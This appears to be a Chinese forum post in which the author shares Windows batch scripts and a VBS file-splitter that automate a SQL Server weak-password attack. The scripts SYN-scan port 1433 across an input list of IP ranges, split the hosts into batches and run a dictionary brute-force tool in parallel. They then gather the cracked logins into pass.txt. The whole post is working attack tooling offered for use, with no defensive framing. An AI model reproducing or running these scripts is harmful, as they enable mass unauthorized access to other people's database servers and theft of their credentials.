自己写的一个sqlserver弱口令扫描工具辅助脚本（提升扫描速度效率，速度极快）
需要s.exe 和scan.exe不懂的就别看了。
下面是bat配套和vbs配套脚本
单进程多线程版：
@echo off
setlocal enabledelayedexpansion
@cd /d "%~dp0"
:start
Title 第一步--多线程扫描端口中
Rem IP段文件名
set /p IPlist= 输入你要扫描的ip表文件：
Rem 分割后的存放目录
@set Dname=list
Rem scan.exe 扫描进程数
set /a pn=4
if exist %IPlist% (goto next) else (@echo 没有找到 %IPlist% 文件，按任意键退出 & pause & exit)
::--------------------------------------------进程快照------------------------------------------------
:next
::-------------------------------------第一步--多线程扫描端口中------------------------------------------
for /f "tokens=1,2 delims= " %%j in (%IPlist%) do s syn %%j %%k 1433 /Save
::----------------------------------------第二步--整理扫描结果---------------------------------------
Title 第二步--整理扫描结果
findstr /v /R ^Perf.* Result.txt>s1.txt
findstr /v /R ^Sca.* s1.txt>s2.txt
findstr /v /R ^L.* s2.txt>s3.txt
findstr /v /R ^N.* s3.txt>s4.txt
for /f "eol=- tokens=1 delims= " %%i in (s4.txt) do echo %%i>>ipst.txt
del s1.txt s2.txt s3.txt s4.txt result.txt
@rd /s /q %Dname%
@del list.txt
::-------------------------------------------去除重复-------------------------------------------------------
for /f "delims=" %%i in (ipst.txt) do (
if not defined %%i set %%i=s & @echo %%i>>ips.txt)
@del ipst.txt
::-------------------------------------------第三步--多线程扫描---------------------------------------
Title 第三步--多线程扫描
@if exist pass\. (@rd /s /q pass) else (@md pass)
@if exist log\. (@rd /s /q log) else (@md log)
@cscript.exe ip.vbs ips.txt scan 50
@del ips.txt
@for %%i in (scan\*.txt) do @echo %%i>>list.txt
::-------------------------------------------设置扫描进程数-----------------------------------------
set n=0
for /f %%i in (list.txt) do (
set /a n+=1
)
set /a max=n+%pn%
::一共有n行%n%
::一共有max行%max%
::--------------------------------------------for 循环------------------------------------------------
for /l %%i in (1,1,%pn%) do start for /l %%j in (%%i,4,%max%) do @if %%j gtr %n% (exit) else (scan -i scan\%%j.txt -p dic\sqlpass.dic -o pass\%%j.txt -l log\%%j.txt -c -t 600)
::------------------------------------判断是否扫描完毕----------------------------------------------
:wait1
@for /l %%i in (4,-1,1) do @ping -n 2 127.1>nul & cls & @echo ------------------------------------------------------ & @echo 请不要关掉本窗口 & @echo 每隔%%i秒程序会自动判断是否该进入下一步 & @echo ------------------------------------------------------
@tasklist | findstr "\<scan.exe\>">nul
@if %errorlevel% == 0 (goto wait1) else (goto next2)
:next2
@cls
@if exist scan\. (@rd /s /q scan)
@if exist log\. (@rd /s /q log)
@if exist list.txt (del list.txt)
::-----------------------------------------------搜集密码----------------------------------------------
@for %%a in (pass\*.txt) do @for /f "usebackq tokens=1,2" %%i in ("%%a") do @echo %%i %%j>>pass.txt
for /f "eol=D tokens=*" %%i in (pass.txt) do echo %%i>>passt.txt
del pass.txt
@if exist pass\. (@rd /s /q pass)
::-------------------------------------------去除重复-------------------------------------------------------
for /f "delims=" %%i in (passt.txt) do (
if not defined %%i set %%i=s & @echo %%i>>pass.txt)
@del passt.txt
@echo.>扫描完毕
多进程多线程版：
@echo off
setlocal enabledelayedexpansion
@cd /d "%~dp0"
:start
Title 第一步--多线程扫描端口中
Rem IP段文件名
set /p IPlist= 输入你要扫描的ip表文件：
Rem 分割后的存放目录
@set Dname=list
Rem scan.exe 扫描进程数
set /a pn=4
if exist %IPlist% (goto next) else (@echo 没有找到 %IPlist% 文件，按任意键退出 & pause & exit)
:next
@for /f %%l in (%IPlist%) do set /a znx+=1
@echo 扫描列表文件共有 %znx% 行
set /p Num= 输入文件最大行数：
::--------------------------------------------进程快照------------------------------------------------
if exist p.txt (@del p.txt)
@tasklist | findstr "\<cmd.exe\>">tmp.txt
@for /f "tokens=2 delims= " %%i in (tmp.txt) do echo %%i>>p.txt
::-------------------------------------第一步--多线程扫描端口中------------------------------------------
@if exist list.txt (del list.txt)
@cscript.exe ip.vbs %IPlist% %Dname% %Num%
@for %%i in (%Dname%\*.txt) do @echo %%i>>list.txt
for /f "eol=; delims= " %%i in (list.txt) do @start for /f "eol=; tokens=1,2 delims= " %%j in (%%i) do s syn %%j %%k 1433 /Save
::--------------------------------------------恢复快照------------------------------------------------------
@tasklist | findstr "\<cmd.exe\>">tmp.txt
if exist p2.txt (@del p2.txt>nul)
@for /f "tokens=2 delims= " %%i in (tmp.txt) do echo %%i>>p2.txt
@del tmp.txt>nul
@findstr /V /G:p.txt p2.txt>pp.txt
@for /f %%i in (pp.txt) do (
@taskkill /pid %%i /f>nul
)
@del p.txt,p2.txt,pp.txt
::------------------------------------判断是否扫描完毕----------------------------------------------
:wait
@for /l %%i in (4,-1,1) do @ping -n 2 127.1>nul & cls & @echo ------------------------------------------------------ & @echo 请不要关掉本窗口 & @echo 每隔%%i秒程序会自动判断是否该进入下一步 & @echo ------------------------------------------------------
@tasklist | findstr "\<s.exe\>">nul
@if %errorlevel% == 0 (goto wait) else (goto next1)
:next1
@cls
::----------------------------------------第二步--整理扫描结果---------------------------------------
Title 第二步--整理扫描结果
findstr /v /R ^Perf.* Result.txt>s1.txt
findstr /v /R ^Sca.* s1.txt>s2.txt
findstr /v /R ^L.* s2.txt>s3.txt
findstr /v /R ^N.* s3.txt>s4.txt
for /f "eol=- tokens=1 delims= " %%i in (s4.txt) do echo %%i>>ipst.txt
del s1.txt s2.txt s3.txt s4.txt result.txt
@rd /s /q %Dname%
@del list.txt
::-------------------------------------------去除重复-------------------------------------------------------
for /f "delims=" %%i in (ipst.txt) do (
if not defined %%i set %%i=s & @echo %%i>>ips.txt)
@del ipst.txt
::-------------------------------------------第三步--多线程扫描---------------------------------------
Title 第三步--多线程扫描
@if exist pass\. (@rd /s /q pass) else (@md pass)
@if exist log\. (@rd /s /q log) else (@md log)
@cscript.exe ip.vbs ips.txt scan 200
@del ips.txt
@for %%i in (scan\*.txt) do @echo %%i>>list.txt
::-------------------------------------------设置扫描进程数-----------------------------------------
set n=0
for /f %%i in (list.txt) do (
set /a n+=1
)
set /a max=n+%pn%
::一共有n行%n%
::一共有max行%max%
::--------------------------------------------for 循环------------------------------------------------
for /l %%i in (1,1,%pn%) do start for /l %%j in (%%i,4,%max%) do @if %%j gtr %n% (exit) else (scan -i scan\%%j.txt -p dic\sqlpass.dic -o pass\%%j.txt -l log\%%j.txt -c -t 600)
::------------------------------------判断是否扫描完毕----------------------------------------------
:wait1
@for /l %%i in (4,-1,1) do @ping -n 2 127.1>nul & cls & @echo ------------------------------------------------------ & @echo 请不要关掉本窗口 & @echo 每隔%%i秒程序会自动判断是否该进入下一步 & @echo ------------------------------------------------------
@tasklist | findstr "\<scan.exe\>">nul
@if %errorlevel% == 0 (goto wait1) else (goto next2)
:next2
@cls
@if exist scan\. (@rd /s /q scan)
@if exist log\. (@rd /s /q log)
@if exist list.txt (del list.txt)
::-----------------------------------------------搜集密码----------------------------------------------
@for %%a in (pass\*.txt) do @for /f "usebackq tokens=1,2" %%i in ("%%a") do @echo %%i %%j>>pass.txt
for /f "eol=D tokens=*" %%i in (pass.txt) do echo %%i>>passt.txt
del pass.txt
@if exist pass\. (@rd /s /q pass)
::-------------------------------------------去除重复-------------------------------------------------------
for /f "delims=" %%i in (passt.txt) do (
if not defined %%i set %%i=s & @echo %%i>>pass.txt)
@del passt.txt
@echo 扫描完毕，查看本目录下pass.txt密码。
pause
涉及到的vbs:
'最简单的VBS文本分割器
'作者: Yatere
'QQ：4699366
On Error Resume Next
If WScript.Arguments.Count <> 3 Then
WScript.Echo "Usage: Cscript.exe Exp.vbs 文件名 目录名 分割数"
WScript.Quit
End If
tname = WScript.Arguments(0)
dname = WScript.Arguments(1)
num = WScript.Arguments(2)
'num = 100 '每个文件最大条目数
'tname = "ip.txt" '待转换文件名
'dname = "ip" '目录名
Set fs =CreateObject("scripting.filesystemobject")
Set gs =CreateObject("scripting.filesystemobject")
Set f=fs.opentextfile(tname,1,true)
if fs.FolderExists(dname) then
fs.DeleteFolder(dname)
end if
set fd=fs.Createfolder(dname)
set fd=Nothing
n=0
do while f.atendofstream<>true
n=n+1
Dim data
Set g=gs.opentextfile(dname+"\"+CStr(n)+".txt",2,true)
'if f.atendofstream<>true then
for a=1 to num
if f.atendofstream<>true then
data=f.readline
g.writeline data
end if
next
'end if
loop
f.close
g.close
Set fs=Nothing
Set gs=Nothing